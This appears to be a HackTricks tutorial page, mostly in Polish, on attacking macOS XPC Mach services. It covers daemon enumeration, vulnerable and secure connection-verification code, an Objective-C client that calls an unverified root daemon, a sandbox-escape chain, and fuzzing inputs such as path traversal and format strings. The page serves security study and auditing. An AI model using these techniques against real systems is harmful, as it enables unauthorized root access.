macOS XPC Mach Services Wykorzystywanie

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Podstawowe informacje

XPC (Cross-Process Communication) jest podstawowym mechanizmem IPC na macOS. Demony systemowe udostępniają Mach services — nazwy portów zarejestrowane w launchd — do których inne procesy mogą się łączyć za pomocą NSXPCConnection.

Każdy plist LaunchDaemon i LaunchAgent z kluczem MachServices rejestruje jeden lub więcej nazwanych portów Mach. Są to ogólnosystemowe punkty końcowe XPC, do których dowolny proces może próbować się podłączyć.

Warning

XPC Mach services are the single largest local privilege escalation attack surface on macOS. Most local root exploits in recent years went through vulnerable XPC services in LaunchDaemons. Every exposed method in a root daemon is a potential escalation vector.

Architektura

Client Process (user context)
↓ NSXPCConnection / xpc_connection_create_mach_service()
↓ Mach message via launchd
Daemon Process (root context)
↓ Receives XPC message
↓ (Should verify client identity / entitlements)
↓ Performs privileged operation

Enumeracja

Znajdowanie daemonów z Mach Services

# Find all LaunchDaemons with MachServices
find /Library/LaunchDaemons /System/Library/LaunchDaemons -name "*.plist" -exec sh -c '
plutil -p "{}" 2>/dev/null | grep -q "MachServices" && echo "{}"
' \; 2>/dev/null

# List active Mach services
sudo launchctl dumpstate 2>/dev/null | grep -E "name = " | sort -u | head -50

# List all launchd services
launchctl list

# Check a specific daemon's Mach services
plutil -p /Library/LaunchDaemons/com.example.daemon.plist 2>/dev/null

# Using the scanner
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged, e.isDaemon
FROM executables e
WHERE e.isDaemon = 1
ORDER BY e.privileged DESC
LIMIT 50;"

Enumerowanie interfejsów XPC

Gdy zidentyfikujesz daemon, reverse-engineer jego interfejs XPC:

# Find the protocol definition in the binary
strings /path/to/daemon | grep -i "protocol\|interface\|xpc\|method"

# Use class-dump to extract ObjC protocol definitions
class-dump /path/to/daemon | grep -A20 "@protocol"

# Check for XPC service bundles inside app bundles
find /Applications -path "*/XPCServices/*.xpc" 2>/dev/null

Luki w weryfikacji klienta XPC

Najbardziej powszechną klasą luk w usługach XPC jest insufficient client verification. Daemon powinien zweryfikować:

  1. Code signature procesu łączącego się
  2. Entitlements procesu łączącego się
  3. Audit token (nie PID, który może zostać ponownie użyty)

Wzorzec podatny: brak weryfikacji

// VULNERABLE — daemon accepts any connection
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES; // No verification!
}

Wzorzec podatności: PID-Based Verification (Race Condition)

// VULNERABLE — PID can be reused between check and use
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
pid_t pid = newConnection.processIdentifier;
// Attacker can win race: spawn legitimate process → get PID → kill it → exploit process reuses PID
if ([self isAuthorizedPID:pid]) {
[newConnection resume];
return YES;
}
return NO;
}

Bezpieczny wzorzec: weryfikacja tokenu audytu

// SECURE — Uses audit token which cannot be spoofed
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
audit_token_t token = newConnection.auditToken;

// Verify code signature via audit token
SecCodeRef code = NULL;
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit:
[NSData dataWithBytes:&token length:sizeof(token)]};
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes,
kSecCSDefaultFlags, &code);

// Verify the signature matches expected signing identity
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(
CFSTR("identifier \"com.apple.expected\" and anchor apple"),
kSecCSDefaultFlags, &requirement);

OSStatus status = SecCodeCheckValidity(code, kSecCSDefaultFlags, requirement);
if (status == errSecSuccess) {
[newConnection resume];
return YES;
}
return NO;
}

Atak: Łączenie się z niezabezpieczonymi XPC Services

// Minimal XPC client — connect to a LaunchDaemon's Mach service
#import <Foundation/Foundation.h>

@protocol VulnDaemonProtocol
- (void)runCommandAsRoot:(NSString *)command withReply:(void (^)(NSString *))reply;
@end

int main(void) {
@autoreleasepool {
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@"com.example.vulndaemon"
options:NSXPCConnectionPrivileged];

conn.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(VulnDaemonProtocol)];

[conn resume];

id<VulnDaemonProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"Connection error: %@", error);
}];

// If the daemon doesn't verify our identity, this works:
[proxy runCommandAsRoot:@"id" withReply:^(NSString *result) {
NSLog(@"Result: %@", result);
// Output: uid=0(root)
}];

[[NSRunLoop currentRunLoop] run];
}
}

Atak: XPC Object Deserialization

Usługi XPC, które akceptują złożone obiekty zgodne z NSSecureCoding, mogą być podatne na deserialization attacks:

// If the daemon accepts NSObject subclasses via XPC:
// An attacker can send a crafted object that triggers:
// 1. Type confusion (wrong class instantiated)
// 2. Path traversal (filename objects with ../)
// 3. Format string bugs (string objects as format arguments)
// 4. Integer overflow (large numeric values)

Mach-Lookup Sandbox Exceptions

Jak wyjątki umożliwiają Sandbox Escape

Aplikacje sandboxowane zwykle mogą komunikować się tylko ze swoimi własnymi XPC services. Jednak mach-lookup exceptions pozwalają na dostęp do usług systemowych:

<!-- Entitlement granting mach-lookup exception -->
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.system.opendirectoryd.api</string>
<string>com.apple.SecurityServer</string>
<string>com.apple.CoreServices.coreservicesd</string>
</array>

Wyszukiwanie aplikacji z szerokimi wyjątkami

# Find sandboxed apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
echo "=== $(basename "$1") ==="
echo "$ents" | grep -B1 -A10 "mach-lookup"
}
}
' _ {} \; 2>/dev/null

Sandbox Escape Chain

1. Compromise sandboxed app (e.g., via renderer exploit in browser/email)
2. Enumerate mach-lookup exceptions from entitlements
3. Connect to each reachable system daemon
4. Fuzz the daemon's XPC interface for vulnerabilities
5. Exploit a daemon bug → code execution outside the sandbox
6. Escalate from daemon's privilege level (often root)

Narzędzia uprzywilejowanego helpera (SMJobBless)

Jak działają

SMJobBless instaluje uprzywilejowanego helpera, który działa jako root za pośrednictwem launchd. Helper komunikuje się z aplikacją nadrzędną przez XPC:

App (user context) ←→ XPC ←→ Helper (root via launchd)

Powszechna podatność: słaba autoryzacja

// Many helpers check authorization but:
// 1. Don't verify WHO is connecting (any process can connect)
// 2. Use rights that any admin can obtain
// 3. Cache authorization decisions

// VULNERABLE helper pattern:
- (void)performPrivilegedAction:(NSString *)action
authorization:(NSData *)authData
withReply:(void (^)(BOOL))reply {
AuthorizationRef auth;
AuthorizationCreateFromExternalForm(
(AuthorizationExternalForm *)authData.bytes, &auth);

// Only checks if caller has generic admin right
// But doesn't verify the caller is the app that installed the helper!
AuthorizationItem item = {kAuthorizationRightExecute, 0, NULL, 0};
AuthorizationRights rights = {1, &item};

if (AuthorizationCopyRights(auth, &rights, NULL,
kAuthorizationFlagDefaults, NULL) == errAuthorizationSuccess) {
// Performs action as root...
reply(YES);
}
}

Wykorzystywanie słabych helperów

# 1. Find installed privileged helpers
ls /Library/PrivilegedHelperTools/

# 2. Find their LaunchDaemon plists
ls /Library/LaunchDaemons/ | grep -v "com.apple"

# 3. Check the helper's XPC interface
class-dump /Library/PrivilegedHelperTools/com.example.helper | grep -A20 "@protocol"

# 4. Check if the parent app properly verifies connections
strings /Library/PrivilegedHelperTools/com.example.helper | grep -i "codesign\|requirement\|anchor\|audit"
# If no code-signing verification strings → likely vulnerable

XPC Fuzzing

# Basic XPC fuzzing approach:

# 1. Identify the target service and protocol
plutil -p /Library/LaunchDaemons/com.example.daemon.plist
class-dump /path/to/daemon

# 2. For each exposed method, test:
#    - NULL arguments
#    - Empty strings
#    - Very long strings (buffer overflow)
#    - Path traversal strings (../../etc/passwd)
#    - Format strings (%n%n%n%n)
#    - Integer boundary values (INT_MAX, -1, 0)
#    - Unexpected object types (send NSDictionary where NSString expected)

# 3. Monitor for crashes
log stream --predicate 'process == "daemon-name" AND (eventMessage CONTAINS "crash" OR eventMessage CONTAINS "fault")'

Rzeczywiste CVE

CVEOpis
CVE-2023-41993Luka deserializacji w usłudze XPC
CVE-2022-22616Ominięcie Gatekeepera poprzez nadużycie usługi XPC
CVE-2021-30657Sysmond XPC privilege escalation
CVE-2020-9839Warunek wyścigu XPC w demonie systemowym
CVE-2019-8802Brak weryfikacji klienta w uprzywilejowanym narzędziu pomocniczym
CVE-2023-32369Migraine — obejście SIP przez XPC systemmigrationd
CVE-2022-26712PackageKit XPC root escalation

Enumeration Script

#!/bin/bash
echo "=== XPC Mach Services Security Audit ==="

echo -e "\n[*] Third-party privileged helpers:"
for helper in /Library/PrivilegedHelperTools/*; do
[ -f "$helper" ] || continue
echo "  $helper"
codesign -dvv "$helper" 2>&1 | grep "Authority\|TeamIdentifier" | sed 's/^/    /'
done

echo -e "\n[*] Third-party LaunchDaemons with MachServices:"
for plist in /Library/LaunchDaemons/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo "  $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/    /'
}
done

echo -e "\n[*] User LaunchAgents with MachServices:"
for plist in ~/Library/LaunchAgents/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo "  $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/    /'
}
done

Źródła

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks